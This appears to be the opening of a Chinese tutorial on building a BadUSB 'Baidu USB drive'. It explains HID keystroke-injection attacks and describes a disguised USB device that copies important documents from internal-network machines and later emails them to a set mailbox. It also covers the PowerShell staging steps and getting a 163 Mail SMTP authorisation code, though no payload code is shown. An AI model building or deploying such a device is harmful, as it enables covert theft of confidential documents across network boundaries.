使用badusb“烧鹅”制作“百度U盘”

HID攻击：USB HID攻击技术是一种利用USB接口伪造用户击键行为实施是攻击的方式。通过恶意USB HID设备连接主机后发送伪造的按键命令，篡改系统设置、运行恶意功能。这种技术区别于传统的USB攻击技术，它将恶意代码隐藏在USB设备固件中，设备成为了攻击的主体。一般来讲针对HID的攻击主要集中在键盘鼠标上，因为只要控制了用户键盘，基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中，当用户将含有攻击向量的鼠标或键盘，插入电脑时，恶意代码会被加载并执行。HID attack 通过插入带有攻击向量的USB设备等方式，恶意代码直接就被加载执行，攻击操作也就瞬时发生。此类方式属于物理层面攻击。攻击者可以在一个芯片中，写入编程进去的恶意代码，诱导用户,或其他方式插入主机中，即可完成整个攻击操作。相对来说，攻击者控制了用户的键盘，则就可以说控制了对方主机的权限。

烧鹅：一种国内badusb,支持S.E.T,Kautilya套件生成攻击载荷，可以使用Arduino IDE编写自定义代码，自带sd卡槽，外表可以当成正常U盘使用，插入即可执行设定的teensy代码

 

百度U盘：检测当前插入的机器的内外网环境，若为内网环境，则复制重要文档到U盘中，若为外网环境，则将U盘中保存的文档上传到指定邮箱中

 先在缓存中写入查找U盘盘符的脚本并执行，找到盘符后执行U盘中脚本。

 使用powershell调用邮箱需要先设置客户端授权码（授权码是用于登录第三方邮件客户端的专用密码，适用于登录以下服务: POP3/IMAP/SMTP/Exchange/CardDAV/CalDAV服务。）

以163邮箱为例，打开设置，

获取授权码后，把密码填为授权码。
